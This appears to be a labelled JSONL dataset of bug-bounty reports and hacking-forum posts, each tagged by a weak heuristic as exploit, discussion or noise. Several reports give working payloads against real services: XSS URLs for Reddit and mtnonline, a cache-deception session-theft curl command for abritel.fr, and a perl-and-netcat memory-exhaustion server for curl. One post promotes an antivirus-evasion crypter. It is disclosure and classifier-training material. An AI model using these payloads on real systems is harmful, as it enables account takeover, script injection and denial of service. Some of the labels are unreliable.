-{"id": "bd79fb88d84b3f6ff9e4", "text": "[Allocation of Resources Without Limits or Throttling] CVE-2023-23916: HTTP multi-header compression denial of service\n\n## Summary:\nA server can send an HTTP response with many occurrences of Transfer-Encoding and/or Content-Encoding headers. Each listed encoding allocates a buffer. The number of encodings listed within each header is already bounded but the number of headers is not, allowing an HTTP response to consume all available memory.\n\n## Steps To Reproduce:\nUsing the curl test environment:\n\n  1. Extract test418 from the attached patch\n  2. runtests.pl 418\n \n## Supporting Material/References:\nPatch fixing the problem and new test for the case.\n\n## Impact\n\nDenial of service.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2023-23916"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0652f4a563eb5a377c08", "text": "AntiVirus Evasion With Exocet\n\nHello, I have tried many tools and tried ways to generate an undetectable payload but none of them worked. Now I came across this tool and today I was able to bypass Windows Defender successfully. That’s why I want to share this with you on this forum. And I hope you will have as much success as me. Have fun! AntiVirus Evasion With Exocet Hello aspiring Ethical Hackers. In this article, you will learn about AntiVirus Evasion with the help of a tool named Exocet. Exocet is a Crypter type malware dropper. A Crypter is a software that is used to make malware undetectable. It performs functions such as encrypting, obfuscating and manipulating the code of the malware to make it undetectable. Hackercool Magazine – 20 Mar 22 AntiVirus Evasion With Exocet - Hackercool Magazine Exocet is a Crypter Malware Dropper that generates undetectable payloads for Windows. AntiVirus Evasion is Estimated reading time: 5 minutes Vulners Database – 15 Nov 21 EXOCET - AV-evading, Undetectable, Payload Delivery Tool EXOCET is superior to Metasploit's \"Evasive Payloads\" modules as EXOCET uses AES-256 in GCM Mode (Galois/Counter Mode). Metasploit's Evasion Payloads uses a easy to detect RC4 encryption. While RC4 can decrypt faster, AES-256 is much more difficult... GitHub GitHub - tanc7/EXOCET-AV-Evasion: EXOCET - AV-evading, undetectable, payload... EXOCET - AV-evading, undetectable, payload delivery tool - GitHub - tanc7/EXOCET-AV-Evasion: EXOCET - AV-evading, undetectable, payload delivery tool", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-03-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ed29d3a4e3be5e084440", "text": "[Use of Cache Containing Sensitive Information] Cache Deception Allows Account Takeover\n\n## Summary:\n\nI'm able to extract user's session (HASESSIONV3) as it is disclosed in a cacheable page, allowing me to access  the `ha.crumb` token located in  `/traveler/profile/edit` \n\n\n```http\nGET /traveler/profile/edit HTTP/2\nHost: www.abritel.fr\nCookie: HASESSIONV3=<use the token here>\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: https://www.abritel.fr/search/keywords:soissons-france-(xss)/minNightlyPrice/0?petIncluded=false&filterByTotalPrice=true&ssr=true\nUpgrade-Insecure-Requests: 1\nTe: trailers\n```\n\n\n## Steps To Reproduce:\n\nVictim Steps:\n\n1->Visit https://www.abritel.fr/search/keywords:soissons-france-(xss)/minNightlyPrice/x.jpeg?triagethis\n\nAttacker Steps:\n\n1->Visit the same URL using any other browser or do \n\n```curl 'https://www.abritel.fr/search/keywords:soissons-france-(xss)/minNightlyPrice/x.jpeg?triagethis' --compressed | grep -i 'HASESSIONV3'```\n\n{F1923081}\n\n\n2-> use the token \n\n```http\nGET /traveler/profile/edit HTTP/2\nHost: www.abritel.fr\nCookie: HASESSIONV3=<use the token here>\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: https://www.abritel.fr/search/keywords:soissons-france-(xss)/minNightlyPrice/0?petIncluded=false&filterByTotalPrice=true&ssr=true\nUpgrade-Insecure-Requests: 1\nTe: trailers\n```\n\nand look for the `ha.crumb` variable in the response\n\n\n\n\n## Recommended Remediation Steps \n  1. Add cache rules for certain all cacheable extensions\n\n## Impact\n\nAccount Takeover", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "eba2337a429649737015", "text": "Anonsurf Works for Parrot and Kali and there is also one for Ubuntu 18.04 linuxhint.com Anonsurf Anonsurf is a privacy protection module that uses Tor IPTables for the configuration of IP packet filter rules. While Tor provides a browser solution, Anonsurf is capable of much more.This article will show you how to run Anonsurf’s Anon Mode. GitHub GitHub - Und3rf10w/kali-anonsurf: A port of ParrotSec's stealth and anonsurf... A port of ParrotSec's stealth and anonsurf modules to Kali Linux - GitHub - Und3rf10w/kali-anonsurf: A port of ParrotSec's stealth and anonsurf modules to Kali Linux GitHub GitHub - moonchitta/anonsurf-ubuntu: Parrot OS annonsurf ported to ubuntu Parrot OS annonsurf ported to ubuntu. Contribute to moonchitta/anonsurf-ubuntu development by creating an account on GitHub.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-04-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "75f1fd959d1ca37c2ffa", "text": "[Cross-site Scripting (XSS) - Reflected] XSS at videostore.mtnonline.com/GL/*.aspx via all parameters\n\nPoC\n```\nhttps://videostore.mtnonline.com/GL/MyAccount.aspx?PId=126&CID=5&OprId=11%27><input%20onfocus=eval(atob(%27YWxlcnQoJ1hTUycp%27))%20autofocus>\n```\n\nSymbols <\"/'> are not filtered that alloweds to inject HTML code.\n{F1353609}\n\n## Impact\n\nXSS at videostore.mtnonline.com", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9f6ae42961d745b68c08", "text": "A small hint for the second users flag.txt. Read your netstat output carefully and you will notice that there is a different ip adress for ftp.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-03-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e66f0d25b57ffd340070", "text": "[Privacy Violation] Persistent user tracking is possible using window.caches, by avoiding Brave Shields\n\n## Summary:\n\nThe recent version of iOS 15 introduced `window.caches` in WKWebView. It provides a persistent cache for web pages, and is also potentially usable for user tracking.\nThe current [CookieControl.js](https://github.com/brave/brave-ios/blob/development/Client/Frontend/UserContent/UserScripts/CookieControl.js) disables cookie, localStorage and sessionStorage, but it doesn't disable `window.caches`, so it allows client-side user tracking by `window.caches` even when cookie brocker is enabled.\n\n## Products affected: \n\n* Brave for iOS Version 1.41.1 (22.7.27.20)\n* iPhone 8 with iOS 15.6\n\n## Steps To Reproduce:\n\n* Enable Brave Shields and block all cookies\n* Visit https://csrf.jp/2022/caches.php\n* Push \"Set Tracking ID\" button, then your tracking ID is set to window.caches\n* Push \"Get Tracking ID\" button, then you can confirm your tracking ID that was set above\n* Close your browser and visit the above page again\n* Push \"Get Tracking ID\" button, then you can see your tracking ID again\n\n## Supporting Material/References:\n\n  * Attached is a movie file that demonstrate the above steps to reproduce.\n\n## Impact\n\nAs witten in summary, client-side user tracking by `window.caches` is possible even when cookie brocker is enabled.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6c67a08aa34719fa18e8", "text": "[Missing Required Cryptographic Step] CVE-2022-30115: HSTS bypass via trailing dot\n\ncurl allows users to load a HSTS cache which will cause curl to use HTTPS instead of HTTP given a HTTP URL for a given site specified in the HSTS cache.\n\nIf the trailing dot is used, the HSTS check will be bypassed.\n\nIf a user has a preloaded hsts.txt:\n``````  \n# Your HSTS cache. https://curl.se/docs/hsts.html\n# This file was generated by libcurl! Edit at your own risk.\naccounts.google.com \"20230503 08:47:52\"\n``````  \n\nDoing the following:\n``````\ncurl --hsts hsts.txt http://accounts.google.com.\n``````\n\nWill cause accounts.google.com to be loaded over HTTP\n``````\n<HTML><HEAD><meta http-equiv=\"content-type\" content=\"text/html;charset=utf-8\">\n<TITLE>301 Moved</TITLE></HEAD><BODY>\n<H1>301 Moved</H1>\nThe document has moved\n<A HREF=\"http://accounts.google.com/\">here</A>.\n</BODY></HTML>\n``````\n\nThis issue has been raised in other HTTP clients before such as in https://bugs.chromium.org/p/chromium/issues/detail?id=461481 and https://www.mozilla.org/en-US/security/advisories/mfsa2015-13/\n\n## Impact\n\nHSTS bypass", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-30115"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "fc733cc1d53b78266e11", "text": "I literally can’t get pass this login screen. I’m providing the correct credentials, but it just don’t work. This exercise should have been with a pcap file… such a pain just to make it work…", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-07-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "bda9c385622764f49106", "text": "[Unknown] Website PHP source code returned in javascript\n\nSource code disclosure:\n----------------------------------\n\n\n\nSummary:\n--------------------\n\nSeverity             : Low\nConfidence      : Tentative\nHost                      : https://nextcloud.com\nPath                       : /wp-content/themes/theme-package/dist/js/main.js\n\n\nIssue detail:\n------------------------------------\nThe application appears to disclose some server-side source code written in PHP.\n\nIssue background:\n---------------------------------------\n\nSource code intended to be kept server-side can sometimes end up being disclosed to users. Such code may contain sensitive information such as database passwords and secret keys, which may help malicious users formulate attacks against the application.\n\n\n\nIssue remediation:\n---------------------------------\n\nServer-side source code is normally disclosed to clients as a result of typographical errors in scripts or because of misconfiguration, such as failing to grant executable permissions to a script or directory. Review the cause of the code disclosure and prevent it from happening.\n\n\nReferences:\n--------------------------------------\n\nWeb Security Academy: Information disclosure\n\nVulnerability classifications:\n------------------------------------------\n\n    CWE-18: Source Code\n    CWE-200: Information Exposure\n    CWE-388: Error Handling\n    CWE-540: Information Exposure Through Source Code\n    CWE-541: Information Exposure Through Include Source Code\n    CWE-615: Information Exposure Through Comments\n    CAPEC-37: Retrieve Embedded Sensitive Data\n\n## Impact\n\nSource code intended to be kept server-side can sometimes end up being disclosed to users. Such code may contain sensitive information such as database passwords and secret keys, which may help malicious users formulate attacks against the application.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d3ae5ee97d37bb87cb2c", "text": "[Command Injection - Generic] RCE of Burp  Scanner / Crawler via Clickjacking\n\nBurp Suite utilizes an embedded Chrome browser for crawling and scanning web applications. The Chrome instance is launched in headless mode, with remote debugging enabled via the remote-debugging websocket port instead of remote-debugging-pipe. As a result, a known XSS vulnerability in Chrome can be leveraged in combination with a JavaScript port sniffing and ClickJacking attack to compromise the WebSocket GUID for the remote debugging channel. Using the provided remote debugging APIs, it’s possible to trigger a file download to the `/Applications/Burp Suite Professional.app/Contents/` directory with a new `user.vmoptions` file. This will provide the `-Xmx5m` and `-XX:OnOutOfMemoryError=open -a Calculator` flags to JVM the next time that Burp Suite is launched. Accordingly, Burp Suite will quickly exhaust the available JVM memory and trigger the supplied OS command.\n\nBased on Google’s security impact guidelines, this issue would typically be considered to have no security impact since Chrome requires additional flags to run (`--remote-debugging` and `--headless`) [1]. Additionally, the XSS vector used in this PoC has been public to Chrome since at least 2016 and reported in multiple tickets [2-6]. As a result, we are reporting this as a Burp Suite vulnerability since the named pipe transport could be utilized to mitigate this issue, which is supported by tools like puppeteer (e.g. `--remote-debugging-pipe`) [7]. \n\n### POC: \nSee attached video. \n\n### Steps to reproduce:\n\nTo confirm this issue, perform the following steps:\n\n1. Download the attached ‘burp.html’ exploit, and host it on a web server (e.g. `python -m http.server`)\n2. Launch an instance of Burp Suite, and start a new scan of the web server.\n3. Open a Chrome browser and navigate to the hosted exploit page (e.g. http://127.0.0.1:8000/burp.html)\n4. Observe that a JavaScript port scanner is determining the randomized port listening for Chrome remote debugging. After the port is identified, a clickjacking payload will be rendered on the page. \n5. After clicking the ‘CLICK ME!!!’ button, restart Burp Suite and observe that the Calculator app has been launched. \n\n### References:\n[1] https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/security-labels.md#TOC-Security_Impact-None\n[2] https://bugs.chromium.org/p/chromium/issues/detail?id=607939\n[3] https://bugs.chromium.org/p/chromium/issues/detail?id=618333\n[4] https://bugs.chromium.org/p/chromium/issues/detail?id=619414\n[5] https://bugs.chromium.org/p/chromium/issues/detail?id=775527\n[6] https://bugs.chromium.org/p/chromium/issues/detail?id=798163\n[7] https://github.com/puppeteer/puppeteer/blob/943477cc1eb4b129870142873b3554737d5ef252/src/node/PipeTransport.ts\n\n## Impact\n\nAfter successful exploitation an attacker can gain control over victim's computer with the same permissions as the user running the scanner.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6b43fe61bb53d25eb373", "text": "[Cryptographic Issues - Generic] Node 18 reads openssl.cnf from /home/iojs/build/... upon startup on MacOS\n\n> NOTE! Thanks for submitting a report! Please replace *all* the [square] sections below with the pertinent details. Remember, the more detail you provide, the easier it is for us to triage and respond quickly, so be sure to take your time filling out the report!\n\n**Summary:**\n\nSimilar to https://hackerone.com/reports/1623175 it looks like in Node 18 and later, when it starts \n it attempts to read /home/iojs/build/ws/out/Release/obj.target/deps/openssl/openssl.cnf on MacOS which ordinarily doesn't exist. This is even after the fix for linux.\n\nThe attack would be an attacker with access to a shared MacOS host with a self-chosen username (iojs) being able to affect the OpenSSF configuration of other users. I believe the iojs home directory is something configured within the Node.js build/CI pipeline, as opposed to something internal to OpenSSL.\n\n**Description:**\n\n## Steps To Reproduce:\n\nFrom inspection of the code, look at the path specified in: https://github.com/nodejs/node/blob/7f9cd60eef6fad245baed9896ec6376b693e089a/deps/openssl/openssl.gyp#L24\n\n        'openssl_dir': '<(PRODUCT_DIR_ABS)/obj.target/deps/openssl',\n\nand unlike other platforms, this is not overriden on MacOS in \"/deps/openssl/openssl_common.gypi\"\n\nThis is a similar problem to what was fixed for Linux in https://nodejs.org/en/blog/vulnerability/july-2022-security-releases/#attempt-to-read-openssl-cnf-from-home-iojs-build-upon-startup-medium-cve-2022-32222\n\n## Impact:\n\n openssl.cnf file is being read as part of OpenSSL's initialization; this is used to configure Node.js\n\n## Supporting Material/References:\n\nThis is the suggested fix (also includes removing existing compiler warnings about duplicate OPENSSL definitions)\n\ndiff --git a/deps/openssl/openssl.gyp b/deps/openssl/openssl.gyp\n  2 index 7b1278044e..861bbc5844 100644\n  3 --- a/deps/openssl/openssl.gyp\n  4 +++ b/deps/openssl/openssl.gyp\n  5 @@ -7,21 +7,17 @@\n  6      'conditions': [\n  7        ['OS == \"win\"', {\n  8          'obj_dir_abs': '<(PRODUCT_DIR_ABS)/obj',\n  9 -        'openssl_dir': '<(PRODUCT_DIR_ABS)/obj/lib',\n 10        }],\n 11        ['GENERATOR == \"ninja\"', {\n 12          'obj_dir_abs': '<(PRODUCT_DIR_ABS)/obj',\n 13          'modules_dir': '<(PRODUCT_DIR_ABS)/obj/lib/openssl-modules',\n 14 -        'openssl_dir': '<(PRODUCT_DIR_ABS)/obj/lib',\n 15        }, {\n 16          'obj_dir_abs%': '<(PRODUCT_DIR_ABS)/obj.target',\n 17          'modules_dir': '<(PRODUCT_DIR_ABS)/obj.target/deps/openssl/lib/openssl-modules',\n 18 -        'openssl_dir': '<(PRODUCT_DIR_ABS)/obj.target/deps/openssl',\n 19        }],\n 20        ['OS==\"mac\"', {\n 21          'obj_dir_abs%': '<(PRODUCT_DIR_ABS)/obj.target',\n 22          'modules_dir': '<(PRODUCT_DIR_ABS)/obj.target/deps/openssl/lib/openssl-modules',\n 23 -        'openssl_dir': '<(PRODUCT_DIR_ABS)/obj.target/deps/openssl',\n 24        }],\n 25      ],\n 26    },\n 27 @@ -57,7 +53,6 @@\n 28          ['node_shared_openssl==\"false\"', {\n 29            'defines': [\n 30              'MODULESDIR=\"<(modules_dir)\"',\n 31 -            'OPENSSLDIR=\"<(openssl_dir)\"',\n 32            ]\n 33          }],\n 34        ],\n 35 diff --git a/deps/openssl/openssl_common.gypi b/deps/openssl/openssl_common.gypi\n 36 index d4e39e8416..256eb7d180 100644\n 37 --- a/deps/openssl/openssl_common.gypi\n 38 +++ b/deps/openssl/openssl_common.gypi\n 39 @@ -49,6 +49,7 @@\n 40          'WARNING_CFLAGS': ['-Wno-missing-field-initializers']\n 41        },\n 42        'defines': [\n 43 +        'OPENSSLDIR=\"/System/Library/OpenSSL/\"',\n 44          'ENGINESDIR=\"/dev/null\"',\n 45        ],\n 46      }, 'OS==\"solaris\"', {\n\n## Impact\n\nThe openssl.cnf file contains security configuration information for OpenSSL. It's possible that changing things like default ciphers could affect the security of an application using it.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2022-32222"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2561d3c72fca0ca2b8eb", "text": "[Allocation of Resources Without Limits or Throttling] CVE-2022-32206: HTTP compression denial of service\n\n## Summary:\nCurl does not prevent resource consumption when processing certain header types, but keeps on allocating more and more resources until the application terminates (or the system crashes, see below).\n\nThe attack vectors include (at least):\n- Sending many `Transfer-Encoding`with repeated encodings such as \"gzip,gzip,gzip,...\"\n- if `CURLOPT_ACCEPT_ENCODING` is set sending many `Content-Encoding` with repeated encodings such as \"gzip,gzip,gzip,...\"\n- Sending many `Set-Cookie` with unique cookie names and about 4kbyte value\n\n## Steps To Reproduce:\n  1.Run the following HTTP server:\n `perl -e 'print \"HTTP/1.1 200 OK\\r\\n\";for (my $i=0; $i < 10000000; $i++) {  printf \"Transfer-Encoding: \" . \"gzip,\" x 20000 . \"\\r\\n\"; }' | nc -v -l -p 9999`\n  2. `curl http://localhost:9999`\n\nThe application will terminate when it runs out of memory.\n\nOn macOS the app dies due to OOM:\n```\nKilled: 9\n$ echo $?\n137\n```\n\nOn linux it's the same:\n```\nKilled\n$ echo $?\n137\n```\n\nWhen targeting Windows 11 system the system would stop responding. Once the attack script was terminated the system would not recover after 10 minutes of waiting. While it was possible to log on to the system the display would remain black. Rebooting the system was necessary to recover the system to a working state. This of course is likely due to bugs in the Windows operating system or drivers.\n\nOn other platforms nasty effects may also occur, such as causing extreme swapping or a system crash. Depending on how the system handles the application gobbling all memory it may result in collateral damage, for example when kernel attempts to release system resources by killing processes.\n\n## Impact\n\n- Uncontrolled resource consumption\n- Uncontrolled application termination\n- System crash (on some platforms)", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-32206"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8b88b8ceb8f460d1b68e", "text": "[Unknown] S3 bucket takeover [learn2.khanacademy.org]\n\nThe subdomain learn2.khanacademy.org was pointed  to Amazon S3, but no bucket with that name was registered [learn2.khanacademy.org]. This meant that anyone could sign up for Amazon S3, claim the bucket as their own and then serve content.\n\n## Steps to reproduce\n \nCheck the following url:\nhttp://learn2.khanacademy.org\n\nAlso\n\n```\n>  curl -k http://learn2.khanacademy.org/\n<!doctype html>\n<html>\n  <head>\n    <title>S3 takeover POC</title>\n  </head>\n  <body>\n    <p>This is S3 takeover POC </p>\n  </body>\n</html>\n```\n\n## Impact\n\nIt's extremely vulnerable to attacks as a malicious user could create any web page with any content and host it on the `ford.com` domain. This would allow them to post malicious content which would be mistaken for a valid site. \n\nThey could perform several attacks like:\n - Cookie Stealing\n - Phishing campaigns. \n - Bypass Content-Security Policies and CORS.\n \n## Recommendations for fix\n\n* Remove the affected DNS record\n \n\n### Supporting Material/References:\n\n - https://0xpatrik.com/subdomain-takeover/\n - https://hackerone.com/reports/661751", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "08f890121cda6bfafe7b", "text": "[Weak Cryptography for Passwords] Generated passwords are not fully validated by HIBPValidator\n\n## Summary:\nIf the Nextcloud server generates a secure random password (e.g. for sharing files), the validation is checked before the shuffle function str_shuffle() is called. In very rare cases it could happen, that a password is validated by HIBPValidator before str_shuffle(), but would not validate after shuffle.\n\n## Steps To Reproduce:\nSince the password generation is usung random chars, the source code must be manipulated to see the problem.\n\nFor instance take the password \"Password123\". Shuffle the Password to \"o3rw1sasd2P\". \n\nIn Generator::generate()\n- delete: $password .= $chars = $this->random->generate($length, $chars);\n- insert: $password = \"o3rw1sasd2P\"\n\nLet the validator check the password\n\n- delete: $password = str_shuffle($password);\n- insert: $password = \"Password123\";\n\nSee the insecure password \"Password123\" in UI.\n\n## Supporting Material/References:\nhttps://github.com/nextcloud/password_policy/blob/master/lib/Generator.php\n\n## Impact\n\nIn very rare cases the password generator may generate weak passwords.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7a6fc45a849ed6431a1c", "text": "[Cross-site Scripting (XSS) - Stored] [user_oidc] Stored XSS via Authorization Endpoint - Safari-Only\n\n## Summary:\nThe [OpenID Connect User Backend](https://github.com/nextcloud/user_oidc/) allows users to login to Nextcloud using SSO.\n\nA workaround that was apparently implemented for the *Safari*  browser enables stored Cross-Site-Scripting (XSS). The vulnerability only affects user agents that include \"**Safari**\" within their user agent string and is further limited by a restrictive Content-Security-Policy that is applied on the affected endpoint.\n\n## Vulnerable Code\n`/var/www/html/custom_apps/user_oidc/lib/Controller/LoginController.php`\n```php\n\t\t// Workaround to avoid empty session on special conditions in Safari\n\t\t// https://github.com/nextcloud/user_oidc/pull/358\n\t\tif ($this->request->isUserAgent(['/Safari/']) && !$this->request->isUserAgent(['/Chrome/'])) {\n\t\t\treturn new Http\\DataDisplayResponse('<meta http-equiv=\"refresh\" content=\"0; url=' . $url . '\" />');\n\t\t}\n```\n\n\n## Exploit/Steps To Reproduce\n0. Setup Nextcloud using the docker image:\n```console\n$ docker run -p 8081:80 nextcloud:latest\n```\n1. Enable `user_oidc` module via http://localhost:8081/settings/apps/integration/user_oidc\n2. Configure plugin via http://localhost:8081/settings/admin/user_oidc - add a provider with arbitrary identifier, client_id and client_secret. Include the following URL as discovery endpoint: https://lhq.at/poc_jkhfdasgfdaskjlfadskhfdas.php.     \n{F1894251}\n\nThe mocked discovery endpoint responds as follows:\n```http\nHTTP/1.1 200 OK\nContent-Type: application/json; charset=utf-8\n[...]\n\n{\n  \"issuer\":\"http:\\/\\/idp.local:3000\",\n  \"authorization_endpoint\":\"'\\\" http-equiv=><svg\\/onload=alert(document.domain)>\",\n[...]\n} \n```\n3.  Launch a login flow using a Safari browser: http://localhost:8081/login.    \nNextcloud responds as follows without sufficiently encoding or filtering the `authorization_endpoint`:\n```http\nHTTP/1.1 200 OK\nDate: Wed, 31 Aug 2022 12:47:57 GMT\nServer: Apache/2.4.54 (Debian)\nReferrer-Policy: no-referrer\nX-Content-Type-Options: nosniff\nX-Frame-Options: SAMEORIGIN\nX-Permitted-Cross-Domain-Policies: none\nX-Robots-Tag: none\nX-XSS-Protection: 1; mode=block\nX-Powered-By: PHP/8.0.21\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nCache-Control: no-cache, no-store, must-revalidate\nPragma: no-cache\nContent-Security-Policy: default-src 'none';base-uri 'none';manifest-src 'self';frame-ancestors 'none'\nX-Request-Id: yUWr3aQshJ5OHyMuzG1j\nFeature-Policy: autoplay 'none';camera 'none';fullscreen 'none';geolocation 'none';microphone 'none';payment 'none'\nContent-Disposition: inline; filename=\"\"\nVary: Accept-Encoding\nContent-Length: 492\nConnection: close\nContent-Type: text/html; charset=UTF-8\n\n<meta http-equiv=\"refresh\" content=\"0; url='\" http-equiv=><svg/onload=alert(document.domain)>?client_id=test.local&response_type=code&scope=openid+email+profile&redirect_uri=http%3A%2F%2Flocalhost%3A8081%2Fapps%2Fuser_oidc%2Fcode&claims=%7B%22id_token%22%3A%7B%22email%22%3Anull%2C%22name%22%3Anull%2C%22quota%22%3Anull%7D%2C%22userinfo%22%3A%7B%22email%22%3Anull%2C%22name%22%3Anull%2C%22quota%22%3Anull%7D%7D&state=FB8IZL2JE55LJ1Y5HJAINPY6OTDQ16P1&nonce=356M5O3J1PKMRKJNBKE40RUGJA06O40E\" />\n```\n\nThe execution of JavaScript is prevented by the `Content-Security-Policy` header:      \n{F1894250}\n\n## Impact\n\nStored XSS. The impact is limited due to the restrictive CSP that is applied on this endpoint.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "347190a93c7ae75a82e0", "text": "I have the username and password but when I try to ssh in it just spins like it can’t connect to the IP? any thoughts? I tried using nmap to connect to the host just to make sure it was up and it says 0 hosts up?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-01-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "da9bde3ee3c0aadfe87c", "text": "Could someone please give me a nudge on bypass authentication? I’ve tried everything I know, and all sorts of tools… Edit: NVM I got it", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-09-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "859f36ff1316f1abf5bd", "text": "[Uncontrolled Resource Consumption] Reference fetch can saturate the server bandwidth for 10 seconds\n\n## Summary:\nWhen posting a message on talk, a reference is fetched for any link in the message\nThere is a hardcoded mandatory 10sec timeout. But the ressource is still fetched for those entire 10 seconds.\n\nFor high-bandwidth servers, this can result in disk space being temporarily filled and saturate the server bandwidth.\nTested on my 2.5gbps network, I was easily able to find 10GB ressources online that have higher network speed and fully saturate the netwrok for a few seconds and a few messages.\n\n## Steps To Reproduce:\n\n  1. Open a talk room\n  1. Post multiple messages containing a link to a high availability ressource like https://speed.hetzner.de/10GB.bin\n\n## Impact\n\nCan severly impact server performances and/or lead to a denial of service", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f5b67e8e98243b4b74e4", "text": "[Cross-site Scripting (XSS) - Generic] [accounts.reddit.com] Redirect parameter allows for XSS\n\n## Summary:\nHello team! I was tampering with the dest parameter in accounts.reddit.com and found out it is vulnerable to Cross Site Scripting once the victim performs the log in.\n\n## Steps To Reproduce:\n  1. Enter to the following link: ```https://accounts.reddit.com/?dest=javascript:alert(document.domain)```\n  - If not signed in, the user will be promped to log in and after doing so XSS will excecute\n\n{F2315850}\n  - If user is logged into his account, following the link will also make the XSS pop up\n\n{F2315847}\n\n## Impact\n\nAn attacker could trick users into executing XSS, executing code and stealing their cookies only by them logging in.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0977daca55286532e281", "text": "[Path Traversal] CVE-2023-27534: SFTP path ~ resolving discrepancy\n\n## Summary:\nlibcurl `Curl_getworkingpath` function resolves `~` as remote users' home directory. This routine behaves in an undocumented way for `sftp` protocol. In particular it is said that `/~/` is converted to remote user's home directory (*1), while this isn't how the function actually behaves. This can lead to unexpected final path for the `sftp` access, and allow an attacker with partial path access to gain access to untended remote system path locations.\n\n## Steps To Reproduce:\n\n  1. access `sftp://host/~a../other/file`\n  2. remote path will result as: `/home/user/../other/file`\n\nIt's notable that when `~a..` path component is checked for path traversal via normal unix path resolving rules, the path component is **not** considered accessing a parent directory, and thus will bypass path sanitization operations attempting to disallow access to parent directory. As an additional remark, in regular UNIXy world `~user/`  specifies another users' home directory, which clearly is not supported by `sftp`. This adds to potential confusion.\n\n## Remediation\n- In `Curl_getworkingpath` convert `~` in `sftp` paths only when  either `/~/` or `/~` (if it is the full path) is used. Reject `~<something>` paths (or don't convert them).\n\n## Supporting Material/References:\n1) https://everything.curl.dev/usingcurl/scpsftp\n\n## Impact\n\nBypassing application implemented path filtering.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2023-27534"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
